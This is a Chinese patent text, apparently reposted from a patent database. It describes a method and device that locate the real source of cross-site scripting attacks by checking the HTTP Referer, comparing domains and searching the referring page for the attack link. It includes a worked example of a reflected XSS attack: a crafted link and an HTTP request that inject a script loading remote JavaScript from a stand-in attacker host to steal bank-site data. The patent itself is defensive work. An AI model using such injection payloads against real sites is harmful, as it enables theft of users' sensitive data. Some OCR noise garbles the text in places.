一种跨站脚本攻击源的定位方法及装置的制作方法

文档序号:7700352阅读:151来源:国知局
专利名称:一种跨站脚本攻击源的定位方法及装置的制作方法
技术领域
本发明涉及网络安全技术领域,尤其涉及一种跨站脚本攻击源定位方法及装置。
背景技术
Web应用系统在为人们生活和工作带来便利的同时,也带来了很多安全问题。这些 安全问题包括威胁到Web服务器安全的SQL (Structured Query Language,结构化查询语 言)注入攻击、可疑文件执行和越权对象访问等安全攻击事件,也包括成胁到Web客户端安 全的跨站脚本(CrossSite Scripting,以下简称为XSS)注入等安全攻击事件。据国际著名 Web安全开放组织OWASP统计,2007年,XSS攻击事件居十大Web安全事件之首。从国际漏 洞库组织CVE库2002年至2007年关于XSS攻击事件的统计来看,XSS攻击事件的发生频 率正呈逐年增长趋势。XSS攻击存在的根源在于Web服务器方程序代码存在缺陷,未能对用户输入数 据进行严格检查和过滤,以至于恶意攻击者可以通过用户输入域注入恶意脚本,这些注入 的恶意脚本可通过Web服务器反射到受害者Web浏览器执行,从而达到偷取受害者敏感数 据或者在受害者安全上下文环境下执行恶意动作等目的。目前,可以被利用来执行XSS攻 击的脚本包括Javascript脚本和VBScript脚本。但目前为最常见的XSS攻击都是采用 Javascript Ρ*。自从XSS攻击被发现以来,人们开始了 XSS攻击检测和防御方面的研究,并陆续 出现了面向Web浏览器端、Web服务器端和安全网关的安全解决方案。现有的一种可应用 到安全网关的用来检测脚本注入攻击的方法和系统,能通过对HTTP (Hypertext Transfer Protocol,超文本传输协议)请求中的用户输入数据进行数据解码、文档对象模型分析、文 档对象模型脚本提取和脚本语法检测等步骤,从用户输入数据中准确提取出可疑的注入脚 本,但是不能判定注入脚本是否为XSS攻击。另一种用来对注入脚本进行静态分析的方法 和系统,尝试从注入脚本中提取和XSS攻击相关的行为特征串,一旦XSS攻击行为特征串提 取成功,则认为该脚本注入攻击为一个XSS攻击;但是,无法准确获取本次XSS攻击的攻击 源信息,因此无法对本次XSS攻击进行有效的应急响应。

发明内容
本发明要解决的技术问题是提供一种跨站脚本攻击源定位方法及装置,克服了传 统跨站脚本攻击检测方法只能检测出某HTTP请求消息中包含跨站脚本攻击,而不能对本 次跨站脚本攻击源进行准确定位的缺点,能够在对HTTP请求消息进行XSS攻击检测后,准 确定位XSS攻击的攻击源。为了解决上述问题,本发明提供了一种跨站脚本攻击源的定位方法,包括A、获取完整的超文本传输协议HTTP请求消息,检查该HTTP请求中是否包含跨站 脚本攻击,如果发现跨站脚本攻击,则执行步骤B,否则结束;B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属
4于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行 步骤C;C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web 网页包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次 跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。进一步地,所述步骤A具体包括(Al)获取完整的HTTP请求消息;(A2)从HTTP请求中提取用户输入数据;(A3)对用户输入数据进行解码;(A4)对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入 数据其转换为一个文档对象模型树;(A5)从所述文档对象模型树中提取注入脚本;(A6)检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结
束ο进一步地,所述步骤B中所述的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的 Referer协议字段中。进一步地,所述步骤B中通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域 名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果 一致则判断属于同一个Web网站。进一步地,所述步骤C中采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含 发起本次跨站脚本攻击URL的页面链接。本发明还提供了一种跨站脚本攻击源的定位装置,包括消息获取模块、检测模块、分析模块、网页检索模块及攻击源判断模块;所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块;所述检测模块用于检查所收到的HTTP请求中是否包含跨站脚本攻击,如果发现 跨站脚本攻击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为 空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判 断模块;否则将所述HTTP请求发送给所述网页检索模块;所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索 该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则发送表 示“包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判 断模块;所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求 的发送者为本次跨站脚本攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息 时判定所述HTTP请求链接源为本次跨站脚本攻击源,当收到所述网页检索模块发送的表示“不包含”的消息时判定该HTTP请求发送者为本次跨站脚本攻击源。进一步地,所述检测模块具体包括提取子模块,用于从HTTP请求中提取用户输入数据;解码子模块,用于对用户输入的数据解码;注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分 析,将解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取 注入脚本;判断子模块,用于从注入脚本中提取跨站脚本攻击行为特征;如果能提取到,则判 断为发现跨站脚本攻击;否则不进行处理。进一步地,所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一链 接页面,包含在HTTP请求的Referer协议字段中。进一步地,所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求 Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属 于同一个Web网站,如果一致则判断属于同一个Web网站。进一步地,所述网页检索模块采用Boyer-More单模式匹配方法检查HTTP请求链 接源所对应Web页面是否包含发起本次跨站脚本攻击URL的页面链接。本发明的技术方案区分了反射式XSS攻击和存储式XSS攻击,并找出了两种XSS 攻击案例中XSS攻击源的不同之处,在以HTTP请求消息为待检测对象检测到XSS攻击后, 通过检查该HTTP请求消息的链接源信息来定位本次XSS攻击的真正攻击源,而不是简单的 将本次HTTP请求消息的发送者当成XSS攻击源,从而为网络管理员对本次XSS攻击的攻击 源进行追溯和安全应急响应提供了极大方便。


图1为一个典型的反射式XSS攻击案例;图2为本发明实施例一的跨站脚本攻击源的定位方法的流程示意图;图3为本发明实施例二的跨站脚本攻击源的定位装置的示意框图。
具体实施例方式本发明的基本思想是XSS攻击类型不仅包括存储式XSS攻击,还可以包括一种反射式XSS攻击;而对于 不同类型的XSS攻击,攻击源并不相同;通过对反射式XSS攻击的原理进行分析,设计对该 类型XSS攻击中的攻击源进行定位的方法;进一步来说,以完整HTTP请求为待检测对象,区 分XSS的攻击类型,并相应定位攻击源。图1为一个典型的反射式XSS攻击案例。该反射式XSS攻击案例包括四个参与者 Web 浏览器、Hackl. com Web 网站、Ebank. com Web 网站和 Hacker2. com Web 网站。该反射式 XSS攻击是由hackerl. com和hacker2. com这两个恶意网站联合导演的,它利用了 Ebank. com Web网站上的一个反射式XSS漏洞(假设反射式XSS漏洞存在于Ebank. com Web网站 的search, asp页面中),将对图1中的Web客户端实施XSS攻击,盗取Ebank. com网站存储 在Web客户端的敏感信息,并将这些敏感信息发送到hackerf. com上。
从Web服务器的角度来看,反射式XSS攻击过程中的XSS攻击代码是由受害者的 Web浏览器提交的;但是,受害者并不可能自己注入XSS攻击代码来攻击自己,因此,在反射 式XSS攻击案例中,黑客需要通过某种社会工程学方法强迫受害者Web浏览器发起XSS攻 击,该XSS攻击包含了黑客内置的XSS攻击脚本,而这些XSS攻击脚本在经过XSS漏洞反射 后被Web浏览器执行并将具有访问Ebank. com网站的权限。假设黑客为利用Ebank. com上的这个反射式XSS漏洞,它在Hackerl. com首页的 Web页面中嵌入下述超级链接<Ahref = 'Tittp //ebank. com/s. asp ? q = <script+src % 3Dhttp: //hacker2. com/ xss. js>,,>Visit Ebank. com</a>(页面 1)假设图1中的Web浏览器由于某种原因正好访问了 Hackerl. com这个网站的首 页,并点击了页面1中的这个被黑客精心构造的超级链接,那么,Web浏览器将发出如下一 个HTTP请求消息给Ebank网站。GET/search, asp ? keywords = % 3CJAVASCRIPT % 2F % 2Fwww. hacker2. com/xss. js% 22% 3E HTTP/1. 1Accept:image/gif, */*Referer:http://hackerl. com/Accept-Language:zh-cnAccept-Encoding:gzip, deflateIf-Modified-Since:Fri,27 Mar 2009 07:17:28 GMT ;length = 222449Host: ebank. comConnection:Keep-Alive由于Ebank的search, asp存在反射式XSS漏洞,因此,当Ebank网站接收到上述 的HTTP请求后,该HTTP请求的URL (Uniform Resource Locator,统一资源定位符)参数中 BfSAW Javascript 代码(SM^J < javascriptsrc = http //hacker2. com/xss. js>) ^ 反射到Web浏览器并被执行;于是,Web浏览器下载由“http://haCker2. com/xss. js”所指 定的远程Javascript代码并执行它,从而达到XSS攻击目的。从这里可以看出,在如图1所示的整个反射式XSS攻击过程中,Web浏览器是被 hackerl. com绑架来向Ebank服务器发起XSS攻击的,真正的XSS攻击者是hackerl. com 网站。但是,如果采用现有技术中描述的那种XSS攻击检测方法来检测,则会将Web浏览 器判定为本次XSS攻击的攻击源,这显然是不对的,因为,本次XSS攻击的真正发起者为 hackerl. com,而不是受害者Web浏览器。下面将结合附图及实施例对本发明的技术方案进行更详细的说明。实施例一,一种跨站脚本攻击源的定位方法,包括以下步骤A、获取完整的HTTP请求消息,检查该HTTP请求中是否包含XSS攻击,如果发现 XSS攻击,则执行步骤B,否则结束;B、分析该HTTP请求的链接源,当发现该HTTP请求的链接源为空,或者所述链接源
7与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次XSS攻击源 并结束,否则继续执行步骤C;C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web 网页包含一个发起本次XSS攻击的页面链接地址,则判定该HTTP请求链接源为本次XSS攻 击源,否则判定该HTTP请求发送者为本次XSS攻击源。本实施例的所述步骤A具体包括以下步骤(Al)获取完整的HTTP请求消息;(A2)从HTTP请求中提取用户输入数据;(A3)对用户输入数据进行解码;(A4)对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入 数据转换为一个文档对象模型树;(A5)从所述文档对象模型树中提取注入脚本;(A6)检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结
束ο本实施例的所述步骤(Al)到(A5)可以采用专利200710179538. 3中所述的方法 完成;实际应用时也不排除用其它方式实现。本实施例的所述步骤(Al)中获取完整的HTTP请求消息的方式包括但不限于以下 三种方式中的任一种或任几种一、HTTP 代理方式;二、Web服务器内嵌方式;三、被动获取方式。基于HTTP代理方式的HTTP请求获取方式包括1)在Web用户网络端部署客户端 HTTP代理来截获发往Web服务器的所有HTTP请求消息;2)在Web服务器端部署HTTP代 理,截获发往其后台被保护Web服务器的所有HTTP请求。基于Web服务器内嵌方式是指通过为特定Web服务器软件模块添加第三方插件 方式来获取所有将被该Web服务器软件处理的HTTP请求消息。比如,对于Apache服务 器软件,可通过Apache服务器软件开放的API接口开发第三方插件,在Apache服务器软 件正式处理该HTTP请求前,通过扫描该HTTP请求来检测是否为一个脚本注入攻击;对于 Microsoft 的 Internet 信息服务器(Internet Information Server, IIS),可以通过其开放 的过滤器插件API编写一个拦截和检测HTTP请求消息的过滤插件。被动方式获取HTTP请求消息是指以被动方式收集本网络内所有与HTTP协议相关 的网络数据包,或者以被动方式收集流经监听设备的所有与HTTP协议相关的网络数据包, 经网络数据包碎片处理、TCP数据流重组和HTTP协议分析等步骤获取HTTP请求消息。实际应用时也不排除用其它方式获取完整的HTTP请求消息。本实施例的所述步骤(A2)中可以但不限于是指提取HTTP请求消息200中的以下 4个协议域值URL参数210、COOKIE值220、Referer值230和表单数据240。本实施例的所述步骤(A3)中首先根据各协议域编码规范对协议域数据进行名称 和值对的分割。对于URL参数协议域编码方式为由地址符’ &’分割的多个名称值对组成的 字符串,比如,Namel =VALl&Name2 = VAL2,这里需要首先根据‘&’对字符串进行切割,然后再按‘=’进行切割,得到用户输入数据值VALl和VAL2。COOKIE协议域编码规范与URL参 数协议与编码方式基本类似,区别是其名称值对的分割符不为’ &’,而是’;’字符。Referer 协议域和表单数据基本编码规范与URL参数编码规范完全相同,因此,用户输入数据的提 取方式也相同。本实施例的所述步骤(A3)中对用户输入数据的解码包括基于HTTP协议编码规范 的解码和HTML协议编码规范的解码。根据HTTP协议编码规范一个空格将被编码为‘ + ’,其它不可显示字符或有特殊 含义的字符将被编码为’ % XX’的十六进制编码。比如,字符’=’将被编码为’ %3D’。因 此,这里的HTTP协议解码为将用户输入数据中的’ +’字符变为空格字符(十六进制值为 0x20),将’ % XX,解码为一个其十六进制值为OxXX的单字节字符。根据HTML协议编码规范,一个具有特殊含义的字符可能编码为以下几种方式 友好编码方式;十进制编码方式和十六进制编码方式。比如引号字符按友好编码方式将 编码’ &qUOt; ’,按十进制编码方式将编码为’&#39; ’,按十六进制编码方式将被编码 为’&#27; ’。因此,这里的HTML解码方法即为将其重新解码成其所对应的原始字符。本实施例的所述步骤(A4)中,将整个解码后用户输入数据看成是一段HTML格式 数据,然后采用标准HTML文档对象模型结构分析方法将其转换为一个文档对象模型树。本实施例的所述步骤(A5)中,遍历整个文档对象模型树中各HTML标签,全面提取 所有可能的注入脚本;提取注入脚本的方法包括以下五种脚本提取方法的任一种或其任意 组合(1)从文档对象模型树各〈script〉标签中提取Javascript/VBScript脚本;(2)从文档对象模型树各HTML标签的事件驱动函数中提取Javascript/VBScript 脚本;(3)从文档对象模型树各HTML标签的特定属性值中提取Javascript/VBScript脚 本;(4)从文档对象模型树各<STYLE>标签定义的样式表中提取Javascript/ VBScript 脚本;(5)从文档对象模型树各HTML标签的Style属性引入的样式表中提取 JavaScript/VBScript 脚本。本实施例的所述步骤(A6)可以采用专利200710303986. χ中所述的方法完成;实 际应用时也不排除用其它方式实现。本实施例的所述步骤(Α6)具体可以包括对提取的注入脚本解析,得到完整的HTTP请求,以及各个域的类型和位置;判断所述HTTP请求的各个域中是否含有XSS攻击行为,所述XSS攻击行为包括访问敏感数据;传输敏感信息;访问敏感函数。 如果含有XSS攻击行为,则执行步骤B,否则结束。 通常,攻击脚本都有一些特殊的标志(即关键词),当某个域中出现相应关键词时 判断该域含有XSS攻击行为。
在另一种实施方式中,可以对不同的攻击标志按照可能性程度赋值;当在所述 HTTP请求中检查到某个域中含有的XSS攻击行为时,根据该XSS攻击行为所对应的分值,对 所述注入脚本累加赋值,直到检查完整个HTTP请求;设定一阈值,当一注入脚本累加赋值 的结果大于或等于该阈值时,判定注入脚本含有XSS攻击行为,执行步骤B,否则结束。本实施例中,所述步骤B中所述的HTTP请求的链接源是指该HTTP请求的上一链 接页面,包含在HTTP请求的Referer协议字段中。本实施例中,所述步骤B通过比较HTTP请求链接源中的Web域名与HTTP请求Host 协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同 一个Web网站,如果一致则判断属于同一个Web网站。本实施例中,所述步骤C采用单模式匹配方法,可以但不限于为Boyer-More单模 式匹配算法,检查HTTP请求链接源所对应Web页面是否包含发起本次XSS攻击URL的页面 链接。为便于本技术领域普通技术人员能够更好的实施本发明,结合图1中的反射式 XSS攻击的例子解释本实施例是如何对XSS攻击源进行有效定位的。本发明所述跨站脚本攻击源定位方法以完整的HTTP请求消息为待检测对象,因 此首先获取完整的HTTP请求消息;然后检查HTTP请求的URL参数中是否包含XSS攻击, 即先提取URL参数,按照HTTP协议编码规则进行解码、对解码后的数据进行文档对象模型 结构分析得到文档对象模型树、从所述文档对象模型树中进行Javascript脚本提取,检测 所提取的脚本中是否有XSS攻击行为特征,如果最终从Javascript脚本中成功提取出预先 定义的XSS攻击行为特征,则判定该HTTP请求的URL参数中包含了 XSS攻击。比如,对于 如上例中所示的HTTP请求消息,其URL参数名为keywords,值为“ % 3CJAVASCRIPT% 2F% 2Fwww. hacker2. com/xss. js% 22% 3E”,对该用户输入数据进行解码后得到〈JAVASCRIPT SRC = http://hacker2. com/xss. js>。然后对其进行文档对象模型结构分析,得到名字为 JAVASCRIPT的HTML标签,其属性SRC的值指向一个需要远程下载执行的Javascript脚本。 然后,对该下载执行的远程Javascript脚本进行文档对象模型结构分析、Javascript脚本 内容提取和XSS攻击行为特征提取等步骤,最后确认该HTTP请求的URL参数中包含了一个 XSS攻击。下面继续执行本发明所述XSS攻击源定位的步骤B,即检查该HTTP请求的链接源 是否为空,或者与该HTTP请求URL是否属于同一个Web网站,如果发现该HTTP请求的链接 源为空,或者与该HTTP请求URL属于同一个Web网站,则判定该HTTP请求的发送者为本次 XSS攻击的攻击源并报警,否则继续执行步骤C以进一步定位XSS攻击源。比如,如上例所示的HTTP请求消息,本发明所述跨站脚本攻击源定位方法首先抽 取该HTTP请求的链接源(即HTTP请求消息中的Referer变量),这里抽取到的HTTP请求 链接源为“http://haCkerl. com/”。进一步从中抽取Web域名信息为hackerl. com ;然后, 抽取该HTTP请求URL的Web域名信息,即从该HTTP请求消息的Host协议字段中抽取Web 域名信息“ebank. com”;然后,比较这两个Web域名发现,它们并不属于同一个Web网站,因 此,需要继续执行步骤C来进一步定位XSS攻击源。本发明所述跨站脚本攻击源定位方法的步骤C需要检查该HTTP请求的链接源所 对应的页面中是否包含了用来发起本次XSS攻击的页面链接地址。具体步骤为首先,从该HTTP请求的Referer协议字段中抽取链接源URL ;然后,根据该URL将链接源所对应Web页 面下载下来,最后,采用单模式匹配算法对该链接源所对应Web页面检索,如果在该Web页 面中检索到了本次XSS攻击相关的URL链接,则判定该HTTP请求链接源URL为本次XSS攻 击的攻击源。比如,如上文例子中所述的HTTP请求消息,所述方法首先从该HTTP请求消息 的Referer协议字段中获取链接源URL,然后,采用标准HTTP协议将该链接源URL所对应 的Web页面下载下来,得到如页面1所示的Web页面;然后,以本次XSS攻击所对应URL 为模式(这里为 http://ebank. com/search, asp ? keywords = % 3CJAVASCRIPT % 2F% 2Fwww. hacker2. com/xss. js% 22% 3E),以下载的HTTP请求链接源Web页面为文本,执行 Boyer-More单模式匹配算法,发现该Web页面包含上述模式,因此判定上文例子中所述的 XSS攻击的真正攻击源来自该HTTP请求链接源,而不是该HTTP请求的发送者。实施例二,一种跨站脚本攻击源的定位装置,包括消息获取模块、检测模块、分析 模块、网页检索模块及攻击源判断模块。所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块;所述检测模块用于检查所收到的HTTP请求中是否包含XSS攻击,如果发现XSS攻 击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为 空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判 断模块;否则将所述HTTP请求发送给所述网页检索模块;所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索 该Web网页,当发现该Web网页包含一个发起本次XSS攻击的页面链接地址,则发送表示 “包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判断模 块;所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求 的发送者为本次XSS攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息时判 定所述HTTP请求链接源为本次XSS攻击源,当收到所述网页检索模块发送的表示“不包含” 的消息时判定该HTTP请求发送者为本次XSS攻击源。本实施例中,所述检测模块具体包括提取子模块,用于从HTTP请求中提取用户输入数据;解码子模块,用于对用户输入的数据解码;注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分 析,将解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取 注入脚本;判断子模块,用于从注入脚本中提取XSS攻击行为特征;如果能提取到,则判断为 发现XSS攻击;否则不进行处理。各子模块的具体实现细节同实施例一中相应部分的方法一致,这里不再赘述。本实施例中,所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一 链接页面,包含在HTTP请求的Referer协议字段中。本实施例中,所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属 于同一个Web网站,如果一致则判断属于同一个Web网站。本实施例中,所述网页检索模块采用单模式匹配方法检查HTTP请求链接源所对 应Web页面是否包含发起本次XSS攻击URL的页面链接。当然,本发明还可有其他多种实施例,在不背离本发明精神及其实质的情况下,熟 悉本领域的技术人员当可根据本发明作出各种相应的改变和变形,但这些相应的改变和变 形都应属于本发明的权利要求的保护范围。
1权利要求
一种跨站脚本攻击源的定位方法,包括A、获取完整的超文本传输协议HTTP请求消息,检查该HTTP请求中是否包含跨站脚本攻击,如果发现跨站脚本攻击,则执行步骤B,否则结束;B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行步骤C;C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。
2.如权利要求1所述的定位方法,其特征在于,所述步骤A具体包括 (Al)获取完整的HTTP请求消息;(A2)从HTTP请求中提取用户输入数据; (A3)对用户输入数据进行解码;(A4)对解码后的用户输入数据执行文档对象模型结构分析,将解码后的用户输入数据 其转换为一个文档对象模型树;(A5)从所述文档对象模型树中提取注入脚本;(A6)检测所述注入脚本中是否有XSS攻击行为特征;如果有则执行步骤B,否则结束。
3.如权利要求1所述的定位方法,其特征在于,所述步骤B中所述的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在HTTP请求的 Referer协议字段中。
4.如权利要求3所述的定位方法,其特征在于,所述步骤B中通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中的Web域名是 否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网站,如果一致 则判断属于同一个Web网站。
5.如权利要求1到4中任一项所述的定位方法,其特征在于,所述步骤C中采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web页面是否包含发起 本次跨站脚本攻击URL的页面链接。
6.一种跨站脚本攻击源的定位装置,其特征在于,包括消息获取模块、检测模块、分析模块、网页检索模块及攻击源判断模块; 所述消息获取模块用于获取完整的HTTP请求消息,发送给所述检测模块; 所述检测模块用于检查所收到的HTTP请求中是否包含跨站脚本攻击,如果发现跨站 脚本攻击,则将所述HTTP请求发送给所述分析模块,否则不进行处理;分析模块用于分析所收到的HTTP请求的链接源,当发现该HTTP请求的链接源为空, 或者所述链接源与该HTTP请求的URL同属于一个Web域时,发送消息给所述攻击源判断模 块;否则将所述HTTP请求发送给所述网页检索模块;所述网页检索模块用于获取所收到的HTTP请求链接源所对应的Web网页,并检索该 Web网页,当发现该Web网页包含一个发起本次跨站脚本攻击的页面链接地址,则发送表示 “包含”的消息给所述攻击源判断模块,否则发送表示“不包含”的消息给所述攻击源判断模 块;所述攻击源判断模块用于当收到所述分析模块发送的消息时,判定该HTTP请求的发 送者为本次跨站脚本攻击源;以及当收到所述网页检索模块发送的表示“包含”的消息时判 定所述HTTP请求链接源为本次跨站脚本攻击源,当收到所述网页检索模块发送的表示“不 包含”的消息时判定该HTTP请求发送者为本次跨站脚本攻击源。
7.如权利要求6所述的定位装置,其特征在于,所述检测模块具体包括提取子模块,用于从HTTP请求中提取用户输入数据;解码子模块,用于对用户输入的数据解码;注入脚本提取子模块,用于对解码后的用户输入数据执行文档对象模型结构分析,将 解码后的用户输入数据转换为一个文档对象模型树;从所述文档对象模型树中提取注入脚 本;判断子模块,用于从注入脚本中提取跨站脚本攻击行为特征;如果能提取到,则判断为 发现跨站脚本攻击;否则不进行处理。
8.如权利要求6所述的定位装置,其特征在于所述分析模块所分析的HTTP请求的链接源是指该HTTP请求的上一链接页面,包含在 HTTP请求的Referer协议字段中。
9.如权利要求8所述的定位装置,其特征在于所述分析模块通过比较HTTP请求链接源中的Web域名与HTTP请求Host协议字段中 的Web域名是否一致来判断该HTTP请求链接源和该HTTP请求URL是否属于同一个Web网 站,如果一致则判断属于同一个Web网站。
10.如权利要求6到9中任一项所述的定位装置,其特征在于所述网页检索模块采用Boyer-More单模式匹配方法检查HTTP请求链接源所对应Web 页面是否包含发起本次跨站脚本攻击URL的页面链接。
全文摘要
一种跨站脚本攻击源的定位方法及装置;方法包括A、获取完整的超文本传输协议HTTP请求消息,检查该HTTP请求中是否包含跨站脚本攻击,如果有则执行B,否则结束;B、当发现该HTTP请求的链接源为空,或者所述链接源与该HTTP请求的URL同属于一个Web域时,判定该HTTP请求的发送者为本次跨站脚本攻击源并结束,否则继续执行C;C、获取该HTTP请求链接源所对应的Web网页,并检索该Web网页,如果包含一个发起本次跨站脚本攻击的页面链接地址,则判定该HTTP请求链接源为本次跨站脚本攻击源,否则判定该HTTP请求发送者为本次跨站脚本攻击源。本发明可以准确定位XSS攻击的攻击源。
文档编号H04L29/06GK101895516SQ20091008426
公开日2010年11月24日 申请日期2009年5月19日 优先权日2009年5月19日
发明者叶润国, 胡振宇 申请人:北京启明星辰信息技术股份有限公司;北京启明星辰信息安全技术有限公司
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1